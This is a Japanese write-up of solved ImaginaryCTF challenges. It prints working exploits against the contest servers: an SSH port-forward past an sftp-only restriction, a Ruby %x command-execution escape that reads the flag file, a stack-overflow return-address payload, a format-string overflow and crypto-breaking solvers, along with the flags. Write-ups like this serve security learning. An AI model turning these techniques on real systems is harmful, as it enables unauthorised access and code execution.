ethan というユーザでログインできる問題サーバへのSSHの接続情報が与えられる。が、与えられたコマンドをそのまま実行して、SSHで接続しようとしてもSFTPで接続しろと怒られてしまう。

$ ssh ethan@chal.imaginaryctf.org -p 42022
ethan@chal.imaginaryctf.org's password: 
This service allows sftp connections only.
Connection to chal.imaginaryctf.org closed.

SFTPで接続すると、以下のようなSQLファイルと sshd_config がダウンロードできた。ForceCommand internal-sftp という sshd_config の設定があるために、先程は怒られてしまったようだ。SQLの方を読んでみると、このサーバで動いているMySQLにログインし、ictf.ictf というテーブルのデータが抽出できれば勝ちであるように思える。

CREATE USER 'ethan'@'127.0.0.1' IDENTIFIED BY 'p4ssw0rd10';
CREATE DATABASE ictf;
USE ictf;
CREATE TABLE ictf (flag varchar(255));
INSERT INTO ictf (flag) VALUES ('ictf{REDACTED}');
GRANT SELECT ON ictf.ictf TO 'ethan'@'127.0.0.1'
PermitRootLogin no
PasswordAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes
PrintMotd no
Subsystem sftp internal-sftp
AllowUsers ethan
Match user ethan
     ChrootDirectory /ftp
     X11Forwarding no
     ForceCommand internal-sftp

ssh コマンドに -N オプションを付与すれば、リモートでは(internal-sftp を含め)コマンドが実行されなくなる。 sshpass -p p4ssw0rd10 ssh ethan@chal.imaginaryctf.org -p 42022 -N -L 54321:127.0.0.1:3306MySQLサーバに向けたポートフォワーディングをしてみよう。

そのままMySQLサーバへのログインを試みると、成功した。ictf.ictf テーブルからフラグが得られた。

$ mysql -u ethan -h 127.0.0.1 -P 54321 -D ictf -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.7.38 MySQL Community Server (GPL)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select flag from ictf;
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| ictf{ssH_p0rt_f0rw4rding_1s_uSeful_0eb24f93} |
+----------------------------------------------+
1 row in set (0.15 sec)
ictf{ssH_p0rt_f0rw4rding_1s_uSeful_0eb24f93}

[Misc 486] pokemon emerald (13 solves)

以下のようなRubyのコードが与えられる。要は、好きなコードを実行できるが、そのコードは %01234_abcfjnrtuxy{} という文字種しか使ってはいけないという感じ。

#!/usr/bin/env -S stdbuf -o0 -i0 ruby
code = gets.strip
code.each_char do |c|
  unless "jctf{any%_2uby_3xtr4ct10n}".include? c
    puts "NO!"
    exit
  end
end
puts eval(code)

Rubyでは %!hoge! みたいにして文字列が作れたはずという記憶がうっすらとあったが、ドキュメントを確認するともっと色々なことができるとわかった。これは%記法というものだが、どうやら %x{ls} のような形でOSコマンドの実行までできてしまうらしい。

どんなOSコマンドが実行できるか、01234_abcfjnrtuxy という文字種しか使っていないものを考える。… ruby だ!

以下のように、まず %x{ruby} を送ってRubyを起動させ、好きなコードを送った後に \4 (EOF)を入力することでRCEに持ち込めた。puts `cat f*` でフラグが得られた。

from pwn import *
s = remote('pokemon-emerald.chal.imaginaryctf.org', 1337)
s.sendline(b'%x{ruby}')
s.sendline(b'puts `cat f*`')
s.send(b'\4')
s.send(b'\n')
print(s.recv())
print(s.recv())
$ python3 solve.py 
[+] Opening connection to pokemon-emerald.chal.imaginaryctf.org on port 1337: Done
b'== proof-of-work: disabled ==\n'
b'ictf{1t3m_duplic4t10n_t0_4rb1trary_c0d3_$p33drun}\n'
[*] Closed connection to pokemon-emerald.chal.imaginaryctf.org port 1337
ictf{1t3m_duplic4t10n_t0_4rb1trary_c0d3_$p33drun}

[Pwn 100] ret2win (266 solves)

Cのコードとそれをコンパイルしたバイナリ、問題サーバへの接続情報が与えられる。Cのコードは以下のような感じ。gets(buf) と、明らかにスタックバッファオーバーフローがある。

#include <stdio.h>
#include <stdlib.h>

int win() {
  FILE *fp;
  char flag[255];
  fp = fopen("flag.txt", "r");
  fgets(flag, 255, fp);
  puts(flag);
}

char **return_address;

int main() {
  char buf[16];
  return_address = buf+24;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  puts("Welcome to ret2win!");
  puts("Right now I'm going to read in input.");
  puts("Can you overwrite the return address?");

  gets(buf);

  printf("Returning to %p...\n", *return_address);
}

gdbwin のアドレスをチェックしておいて、スタックバッファオーバーフローでリターンアドレスを win に書き換える。これでフラグが得られた。

$ gdb -q -n -ex "p win" -batch ./vuln
$1 = {<text variable, no debug info>} 0x4011d6 <win>
$ (echo -en "AAAAAAAAAAAAAAAABBBBBBBB\xd6\x11\x40\x00\x00\x00\x00\x00"; echo hoge) | nc ret2win.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to ret2win!
Right now I'm going to read in input.
Can you overwrite the return address?
Returning to 0x4011d6...
ictf{c0ngrats_on_pwn_number_1_9b1e2f30}
ictf{c0ngrats_on_pwn_number_1_9b1e2f30}

[Pwn 100] bof (190 solves)

Cのコードとそれをコンパイルしたバイナリ、問題サーバへの接続情報が与えられる。Cのコードは次のような感じ。char buf[64]int check というメンバを持つ構造体があるので、bufバッファオーバーフローをさせればフラグが得られる。buf には sprintf でユーザ入力から文字列がコピーされてくるが(Format String Bugだ!)、fgets(temp, 5, stdin); と5文字までしか入力できない。

#include <stdio.h>
#include <stdlib.h>

struct string {
  char buf[64];
  int check;
};

char temp[1337];


int main() {
  struct string str;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  str.check = 0xdeadbeef;
  puts("Enter your string into my buffer:");
  fgets(temp, 5, stdin);
  sprintf(str.buf, temp);

  if (str.check != 0xdeadbeef) {
    system("cat flag.txt");
  }
}

FSBがあるので、フィールド幅でなんとかしよう。%99d でフラグが得られた。

$ echo '%99d' | nc bof.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Enter your string into my buffer:
ictf{form4t_strings_4re_c00l_051c94e1}
ictf{form4t_strings_4re_c00l_051c94e1}

[Crypto 100] emojis (316 solves)

以下のようなテキストファイルが与えられる。👎が0、👍が1になる2進数かな。CyberChefで頑張るとフラグが得られた。

👎👍👍👎👍👎👎👍👎👍👍👎👎👎👍👍👎👍👍👍👎👍👎👎👎👍👍👎👎👍👍👎👎👍👍👍👍👎👍👍👎👍👍👎👎👍👎👍👎👍👍👎👍👍👍👎👎👍👍👎👎👎👍👍👎👎👍👍👎👎👎👎👎👍👍👎👎👍👎👎👎👍👍👎👍👎👎👍👎👍👍👎👍👍👍👎👎👍👍👎👎👍👍👍👎👍👎👍👍👍👍👍👎👍👍👎👍👎👎👍👎👍👍👍👎👎👍👍👎👍👎👍👍👍👍👍👎👍👍👎👍👍👍👎👎👎👍👍👎👎👎👎👎👍👍👍👎👍👎👎👎👍👎👍👍👍👍👍👎👍👍👎👎👍👎👍👎👍👍👎👍👍👍👎👎👍👍👎👎👎👍👍👎👍👍👍👎👎👍👎👎👍👍👍👍👎👎👍👎👍👍👍👎👎👎👎👎👍👍👍👎👍👎👎👎👍👍👎👍👎👎👍👎👎👍👍👎👎👎👎👎👍👍👎👍👍👍👎👎👍👎👍👍👍👍👍👎👎👍👍👎👎👎👍👎👍👍👎👎👎👍👎👎👎👍👍👎👎👍👎👎👍👍👎👎👍👎👍👎👎👍👍👎👎👎👎👎👍👍👎👎👍👎👎👎👎👍👍👎👍👎👎👎👎👍👍👎👎👍👍👎👍👍👍👍👍👎👍
ictf{enc0ding_is_n0t_encrypti0n_1b2e0d43}

[Crypto 100] smoll (226 solves)

RSA問で、以下のようなパラメータが与えられる。FactorDBに載っていた

n = 13499674168194561466922316170242276798504319181439855249990301432638272860625833163910240845751072537454409673251895471438416265237739552031051231793428184850123919306354002012853393046964765903473183152496753902632017353507140401241943223024609065186313736615344552390240803401818454235028841174032276853980750514304794215328089
e = 65537
ct = 12788784649128212003443801911238808677531529190358823987334139319133754409389076097878414688640165839022887582926546173865855012998136944892452542475239921395969959310532820340139252675765294080402729272319702232876148895288145134547288146650876233255475567026292174825779608187676620580631055656699361300542021447857973327523254
ictf{wh4t_1f_w3_sh4r3d_0ur_l4rge$t_fact0r_jk_unl3ss??}

[Crypto 100] Secure Encoding: Hex (195 solves)

以下のようなPythonコードと、これによってフラグを暗号化した暗号文が与えられる。文字列をhexエンコードし、0123456789abcdef の各文字をシャッフルしてくれるらしい。

#!/usr/bin/env python3

from random import shuffle

charset = '0123456789abcdef'
shuffled = [i for i in charset]
shuffle(shuffled)

d = {charset[i]:v for(i,v)in enumerate(shuffled)}

pt = open("flag.txt").read()
assert all(ord(i)<128 for i in pt)

ct = ''.join(d[i] for i in pt.encode().hex())
f = open('out.txt', 'w')
f.write(ct)

暗号文は以下のような感じ。ictf{} というフラグフォーマットから 0, 1, 6, 8, b, d はそれぞれ 6, 7, d, 4, 3, 9 に対応していると確定する。

0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116

JavaScriptを使って、ここまででわかっている文字を元に戻してhexデコードしてみる。問題文によればフラグは "readable English" だそうなので、それっぽい英文になればよい。

??c?di?gencoding、その前後は _ だろうか。これで cf5f0c07656e に対応するとわかる。

// i c t f { m i ? i t ? ? y ? g ? ? d ? ? ? ? c ? d i ? g ? f t w }
//696374667b6d696?69746?7?79??677?6?646???6?6?636?64696?67??6674777d
 '0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116'.replaceAll(/./g, m => ({
  '0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd',
  '2': '?', '3': '?', '4': '?', '5': '?', '7': '?', 'a': '?', 'c': '?',
  'f': '?', '9': '?'
}[m]))

変更を適用すると次のようになる。mi?it??py g??de はmilitary gradeだろう。

// i c t f { m i ? i t ? ? y _ g ? ? d e _ e n c o d i n g _ f t w }
//696374667b6d696?69746?7?795f677?6?64655f656e636f64696e675f6674777d
 '0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116'.replaceAll(/./g, m => ({
  '0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd',
  '2': '?', '3': '?', '4': '?', '5': '?', '7': 'e', 'a': '?', 'c': '5',
  'f': 'f', '9': '?'
}[m]))
ictf{military_grade_encoding_ftw}

[Crypto 100] huge (137 solves)

RSA問。以下のようなPythonのコードとパラメータが与えられる。primes = [getPrime(10) for _ in range(200)] ということでmulti-prime RSAらしい。

from Crypto.Util.number import bytes_to_long, getPrime
from random import randint

flag = open("flag.txt", "rb").read()

def get_megaprime():
  primes = [getPrime(10) for _ in range(200)]
  out = 1
  for n in range(100):
    if randint(0,1) == 0:
      out *= primes[n]
  return out

p = get_megaprime()
q = get_megaprime()
n = p*q
e = 65537
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f"{n = }")
print(f"{e = }")
print(f"{c = }")

primefac にでも投げれば n素因数分解できる。

$ python3 -m primefac 257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591
257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591: 521 521 541 563 569 569 571 577 577 587 587 599 601 601 601 607 613 617 617 617 619 619 631 647 647 647 659 659 659 661 673 673 677 677 677 683 691 691 691 691 701 701 701 701 709 709 719 739 743 761 769 769 797 797 797 797 797 797 809 809 809 809 811 821 827 827 827 827 829 839 839 853 857 859 859 863 863 877 877 881 883 887 911 919 937 937 947 947 947 947 947 967 967 971 977 977 983 991 991 991 997 1013 1009 1019 1019 1021 1019 1009 1009

"multi-prime RSA python" みたいな感じでググる素晴らしいスクリプトが出てくる。これに投げるとフラグが得られた。スクリプトキディか?

ictf{sm4ll_pr1mes_are_n0_n0_9b129443}

[Crypto 100] cbc (123 solves)

以下のようなPythonスクリプトが与えられる。問題名ではCBCと言っているけど大嘘で、平文の各ブロックを直前の暗号文のブロックとXORしているわけではなく、なぜか直前の暗号文ブロックを鍵としている。当然ながら直前の暗号文ブロックはわかっているので、それを手がかりに復号できそう。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from os import urandom

def cbc_encrypt(msg: bytes):
  msg = pad(msg, 16)
  msg = [msg[i:i+16] for i in range(0, len(msg), 16)]
  key = urandom(16)
  out = []
  for block in msg:
    cipher = AES.new(key, AES.MODE_ECB)
    next = cipher.encrypt(block)
    out.append(next)
    key = next
  out = b"".join(out)
  return key, out

def main():
  key, ct = cbc_encrypt(open("flag.txt", "rb").read()*3)
  print(f"{ct = }")

if __name__ == "__main__":
  main()

# ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84"

雑にソルバを書く。

import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84"
ct = re.findall(rb'.{16}', ct, re.S)

def decrypt(i):
    cipher = AES.new(ct[i-1], AES.MODE_ECB)
    return cipher.decrypt(ct[i])

res = b''
res += decrypt(-4)
res += decrypt(-3)
res += decrypt(-2)
res += decrypt(-1)
print(res)

実行するとフラグが得られた。

$ python3 solve.py 
b'ong_02b413a9}\nictf{i_guess_i_implemented_cbc_wrong_02b413a9}\n\x03\x03\x03'
ictf{i_guess_i_implemented_cbc_wrong_02b413a9}

[Crypto 316] otp (48 solves)

以下のPythonスクリプトと、これを動かしている問題サーバへの接続情報が与えられる。要はランダムっぽく secureRand で生成したビット列と入力した文字列(もしくはフラグ)をXORしているだけ。

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes, bytes_to_long
import random
import math

def secureRand(bits, seed):
  jumbler = []
  jumbler.extend([2**n for n in range(300)])
  jumbler.extend([3**n for n in range(300)])
  jumbler.extend([4**n for n in range(300)])
  jumbler.extend([5**n for n in range(300)])
  jumbler.extend([6**n for n in range(300)])
  jumbler.extend([7**n for n in range(300)])
  jumbler.extend([8**n for n in range(300)])
  jumbler.extend([9**n for n in range(300)])
  out = ""
  state = seed % len(jumbler)
  for _ in range(bits):
    if int(str(jumbler[state])[0]) < 5:
      out += "1"
    else:
      out += "0"
    state = int("".join([str(jumbler[random.randint(0, len(jumbler)-1)])[0] for n in range(len(str(len(jumbler)))-1)]))
  return long_to_bytes(int(out, 2)).rjust(bits//8, b'\0')

def xor(var, key):
  return bytes(a ^ b for a, b in zip(var, key))

def main():
  print("Welcome to my one time pad as a service!")
  flag = open("flag.txt", "rb").read()
  seed = random.randint(0, 100000000)
  while True:
    inp = input("Enter plaintext: ").encode()
    if inp == b"FLAG":
      print("Encrypted flag:", xor(flag, secureRand(len(flag)*8, seed)).hex())
    else:
      print("Encrypted message:", xor(inp, secureRand(len(inp)*8, seed)).hex())

if __name__ == "__main__":
  main()

secureRand の返り値に偏りがないか確かめてみる。

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes, bytes_to_long
import collections
import random

def secureRand(bits, seed):
  jumbler = []
  jumbler.extend([2**n for n in range(300)])
  jumbler.extend([3**n for n in range(300)])
  jumbler.extend([4**n for n in range(300)])
  jumbler.extend([5**n for n in range(300)])
  jumbler.extend([6**n for n in range(300)])
  jumbler.extend([7**n for n in range(300)])
  jumbler.extend([8**n for n in range(300)])
  jumbler.extend([9**n for n in range(300)])
  out = ""
  state = seed % len(jumbler)
  for _ in range(bits):
    if int(str(jumbler[state])[0]) < 5:
      out += "1"
    else:
      out += "0"
    state = int("".join([str(jumbler[random.randint(0, len(jumbler)-1)])[0] for n in range(len(str(len(jumbler)))-1)]))
  return long_to_bytes(int(out, 2)).rjust(bits//8, b'\0')

def xor(var, key):
  return bytes(a ^ b for a, b in zip(var, key))

def main():
  seed = random.randint(0, 100000000)
  r = [secureRand(10 * 8, seed) for _ in range(1000)]
  for i in range(10):
    print(i, collections.Counter([x[i] for x in r]).most_common(5))

if __name__ == "__main__":
  main()

実行してみる。なるほど、secureRand255 を吐きがちらしい。

$ python3 bias.py
0 [(255, 87), (254, 41), (191, 40), (251, 37), (239, 37)]
1 [(255, 60), (191, 35), (223, 28), (127, 27), (251, 25)]
2 [(255, 49), (191, 36), (223, 33), (239, 30), (127, 27)]
3 [(255, 61), (191, 43), (247, 30), (254, 26), (251, 25)]
4 [(255, 57), (223, 40), (253, 32), (239, 31), (247, 29)]
5 [(255, 64), (191, 30), (254, 27), (251, 24), (253, 24)]
6 [(255, 69), (247, 31), (254, 31), (127, 31), (253, 25)]
7 [(255, 64), (239, 35), (247, 32), (127, 28), (254, 27)]
8 [(255, 69), (251, 32), (247, 31), (191, 28), (254, 27)]
9 [(255, 57), (251, 30), (253, 29), (223, 28), (247, 27)]

この性質を利用したソルバを書く。フラグを暗号化した文字列を1000個収集し、各バイトでもっとも出現したものを調べる。それと255をXORすると平文が得られるはずだ。

import binascii
import collections
from pwn import *

s = remote('otp.chal.imaginaryctf.org', 1337)

a = []
for _ in range(1000):
    s.recvuntil(b'Enter plaintext: ')
    s.sendline(b'FLAG')
    s.recvuntil(b'Encrypted flag: ')
    r = binascii.unhexlify(s.recvline()[:-1])
    a.append(r)

l = len(a[0])
res = []
for i in range(l):
    r = collections.Counter([x[i] for x in a]).most_common(1)[0][0]
    res.append(r ^ 255)
print(bytes(res))

実行するとフラグが得られた。

$ python3 solve.py 
[+] Opening connection to otp.chal.imaginaryctf.org on port 1337: Done
b'ictf{benfords_law_catching_tax_fraud_since_1938}\n'
[*] Closed connection to otp.chal.imaginaryctf.org port 1337
ictf{benfords_law_catching_tax_fraud_since_1938}

[Crypto 378] hash (39 solves)

以下のようなPythonスクリプトjbox.txt というテキストファイルが与えられる。sha42ハッシュ関数で、これを使って生成したハッシュが与えられるので、その元になった文字列を特定する作業を50回繰り返せばフラグがもらえるらしい。

#!/usr/bin/env python3

import string
import random

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box

# secure hashing algorithm 42
def sha42(s: bytes, rounds=42):
  out = [0]*21
  for round in range(rounds):
    for c in range(len(s)):
      if config[((c//21)+round)%len(config)][c%21] == 1:
        out[(c+round)%21] ^= s[c]
  return bytes(out).hex()

def main():
  print("Can you guess my passwords?")
  for trial in range(50):
    print(f"--------ROUND {trial}--------")
    password = "".join([random.choice(string.printable) for _ in range(random.randint(15,20))]).encode()
    hash = sha42(password)
    print(f"sha42(password) = {hash}")
    guess = bytes.fromhex(input("hex(password) = ").strip())
    if sha42(guess) == hash:
      print("Correct!")
    else:
      print("Incorrect. Try again next time.")
      exit(-1)
  flag = open("flag.txt", "r").read()
  print(f"Congrats! Your flag is: {flag}")

if __name__ == "__main__":
  main()

雑にZ3Pyで殴ったら解けてしまった。

#!/usr/bin/env python3

import binascii
import string
from pwn import *
from z3 import *

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box

# secure hashing algorithm 42
def sha42(s, rounds=42):
  out = [0]*21
  for round in range(rounds):
    for c in range(len(s)):
      if config[((c//21)+round)%len(config)][c%21] == 1:
        out[(c+round)%21] ^= s[c]
  return out

def solve_single(l, h):
  flag = [BitVec(f'flag_{i}', 8) for i in range(l)]
  solver = Solver()
  h = binascii.unhexlify(h)

  for f in flag:
    solver.add(Or(*[f == ord(c) for c in string.printable]))
  solver.add([c == d for c, d in zip(sha42(flag), h)])

  c = solver.check()
  if c == unsat:
    return

  m = solver.model()
  res = ''
  for i in range(l):
    res += chr(m[flag[i]].as_long())

  return res

def solve(h):
  for l in range(15, 21):
    r = solve_single(l, h)
    if r is not None:
      return r.encode().hex()


sock = remote('hash.chal.imaginaryctf.org', 1337)
for _ in range(50):
  sock.recvuntil(b'sha42(password) = ')
  h = sock.recvline().strip().decode()
  ans = solve(h)
  print(h, ans)

  sock.recvuntil(b'hex(password) = ')
  sock.sendline(ans.encode())

  print(sock.recvline())

sock.interactive()

実行する。

$ python3 solve.py
…
3b12747f09624a71013a434b5e6a0c4e351f233350 22794a673253416350575b352b75435e39554560
b'Correct!\n'
0c113c53357015120e052e1b66087d455c76764747 632b2373455b7473724523265e3858447469
b'Correct!\n'
590d7914161d776c6518725b18340d370b6c402a35 766b6d356b3f2240604427656a307c4e3c
b'Correct!\n'
[*] Switching to interactive mode
Congrats! Your flag is: ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

[*] Got EOF while reading in interactive
ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

[Crypto 390] stream (37 solves)

x86_64のELF(!?)と、それを使ってフラグを暗号化した文字列が与えられる。IDA Freewareに投げてみると、以下のようにデコンパイルされた。コマンドライン引数から8バイトの鍵が与えられ、平文とそれをXORするらしい。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 k; // rbx
  FILE *v4; // r12
  int v5; // r13d
  char *v6; // rbp
  __int64 v7; // rax
  FILE *v8; // r12

  if ( argc <= 2 )
  {
    __printf_chk(1LL, "[*] Usage: %s [FILE] [KEY] [OUT]\n", *argv);
    exit(-1);
  }
  k = strtol(argv[2], 0LL, 10);
  v4 = fopen(argv[1], "r");
  fseek(v4, 0LL, 2);
  v5 = 8 * (ftell(v4) / 8) + 8;
  fseek(v4, 0LL, 0);
  fclose(v4);
  v6 = (char *)malloc(v5);
  fgets(v6, v5, v4);
  if ( v5 > 7 )
  {
    v7 = 0LL;
    do
    {
      *(_QWORD *)&v6[8 * v7] ^= k;
      k *= k;
      ++v7;
    }
    while ( v5 / 8 > (int)v7 );
  }
  v8 = fopen(argv[3], "w");
  fwrite(v6, v5, 1uLL, v8);
  fclose(v8);
  return 0;
}

例のごとく ictf{ というフラグフォーマットを利用して、8バイトの鍵のうち5バイトは特定できた。残りの3バイトは総当たりで特定しよう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check(unsigned char *buf) {
    int j;

    for (j = 0; j < 48; j++) {
        if ((buf[j] < 0x20 && buf[j] != '\0' && buf[j] != '\n') || buf[j] > 0x7e) {
            return 0;
        }
    }

    return 1;
}

int main(void) {
    unsigned long long orig_key, key;
    unsigned long long i;
    int j;

    unsigned char orig_buf[48];
    unsigned char buf[48];
    long long int *buff = (long long int *)buf;

    FILE *fp = fopen("out.txt", "rb");
    fread(orig_buf, sizeof(char), 48, fp);

    for (i = 0LL; i < 0x1000000LL; i++) {
        orig_key = 0xa8612b01cbLL | (i << (8 * 5));
        key = orig_key;
        memcpy(buf, orig_buf, 48);

        for (j = 0; j < 6; j++) {
            buff[j] ^= key;
            key *= key;
        }

        if (check(buf)) {
            printf("[key %llx] %s\n", orig_key, buf);
        }
    }

    return 0;
}

実行するといくつかフラグの候補が出てくるが、英文としてまともなのは最後のひとつだけ。

$ gcc -o solve solve.c; ./solve
[key 27dcf4a8612b01cb] ictf{y0 _rec0veled_my_k9ystreamW901bf2e$}

[key 68dcf4a8612b01cb] ictf{y0o_rec0veVed_my_kmystreamO901bf2eT}

[key 72dcf4a8612b01cb] ictf{y0u_rec0vered_my_keystream_901bf2e4}
ictf{y0u_rec0vered_my_keystream_901bf2e4}

競技終了後に解いた問題

[Misc 492] pycorrectionalcenter (10 solves)

次のPythonコードと、このコードが動いている問題サーバへの接続情報が与えられる。使える文字種にかなりの制限があるし、exec, eval, input といった有用なビルトイン関数が使えなくなってしまっている。しかも、入力できるコードは12文字以内。厳しすぎる。

#!/usr/bin/env python3.9

trash = {}

def main():
  print("Welcome to the Python Correctional Center, where you won't be able to escape!")
  allowed_variables = {**vars(__builtins__).copy(), **globals()}
  for name in ["exec", "eval", "__import__", "breakpoint", "input", "__builtins__", "getattr", "setattr", "delattr", "license", "vars"]:
    allowed_variables[name] = None
  inp = input(">>> ")
  assert all([ord(c) < 128 for c in inp])
  assert not '.' in inp
  assert not '_' in inp
  assert not '!' in inp
  assert not '*' in inp
  assert not '&' in inp
  assert not '@' in inp
  assert not '`' in inp
  assert not '~' in inp
  assert not '{' in inp
  assert not '}' in inp
  assert not ';' in inp
  assert not '\'' in inp
  assert not '\'' in inp
  assert not 'lambda' in inp
  assert not 'raise' in inp
  assert not 'assert' in inp
  assert not 'if' in inp
  assert not 'for' in inp
  assert not 'import' in inp
  assert len(inp) < 12
  exec(inp, {"__builtins__": allowed_variables}, trash)
  exit()

if __name__ == "__main__":
  main()

exec の直前に print([k for k, v in allowed_variables.items() if v is not None ]) を入れてみて、どんな関数が使えるかチェックしてみる*3。…が、11字以下という制限ではどれを使おうにも厳しいように思える。とりあえず、繰り返し main を呼び出して時間稼ぎができないか。main() で一応呼び出せるのだけれども、文字数を圧迫してしまう。

['__name__', '__loader__', '__build_class__', 'abs', 'all', 'any', 'ascii', 'bin', 'callable', 'chr', 'compile', 'dir', 'divmod', 'format', 'globals', 'hasattr', 'hash', 'hex', 'id', 'isinstance', 'issubclass', 'iter', 'len', 'locals', 'max', 'min', 'next', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'sorted', 'sum', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'help', '__annotations__', '__file__', 'trash', 'main']

色々試していたところ、input はキャリッジリターンを入力してもそこで入力を打ち切らないことがわかった。a=1\rb=0 のような入力をしても、inp にはそのまま入るということになる。これなら、m=main\rm() のようにすれば繰り返し main を呼び出せる。

この m への代入はどうなるかというと、exec の第3引数として trash という dict が与えられているから、その m というキーの値として保存されることになる。trashmain の呼び出しごとにクリアされるわけではないから、2回目以降の main の呼び出しの中ではわざわざ m=main をする必要はない。ただし、exec の直後の exit を避けるために、(何らかのコード)\rm() というような感じで毎回最後に m を呼び出しつつ、7文字以内でなんとかしなければならない。

どう役立てられるかは分からないが、とりあえず任意の文字列を作れるようにしておきたい。chr も数値も使えるのはありがたい。1文字の変数に関数を代入することで、main の呼び出しと同様に文字数の短縮を狙う。最初に c=chr してから、r="", x=4, x<<=4, x|=1, r+=c(x) という感じで1文字ずつ文字列を組み立てられる。やったあと思いつつ、結局競技中はそれを活用する方法を思いつけなかった。open('flag') はできても、o=open, f=o(fn), o.read(). が禁止されているからダメだし、と悩んでいた。


競技終了後の7/22に、作問者のEth007さんがDiscordで解法を公開されていた。いわく、print(set(open('flag.txt'))) 相当のことをするとフラグが読めるそう。そんな馬鹿なと思いつつ手元で確かめてみると、できた。ほかの関数で試してみたところ、set 以外にも listnext でもできた。これは _io.TextIOWrapper__next__ が生えているっぽい。CPythonのコードを確認してみると、たしかに生えている。面白い。

[Misc 497] pycrib (6 solves)

Thanks to https://ctftime.org/task/16811 for inspiration, but you'll have to do more than just import code to read the flag here...

The flag is in flag in the current directory.

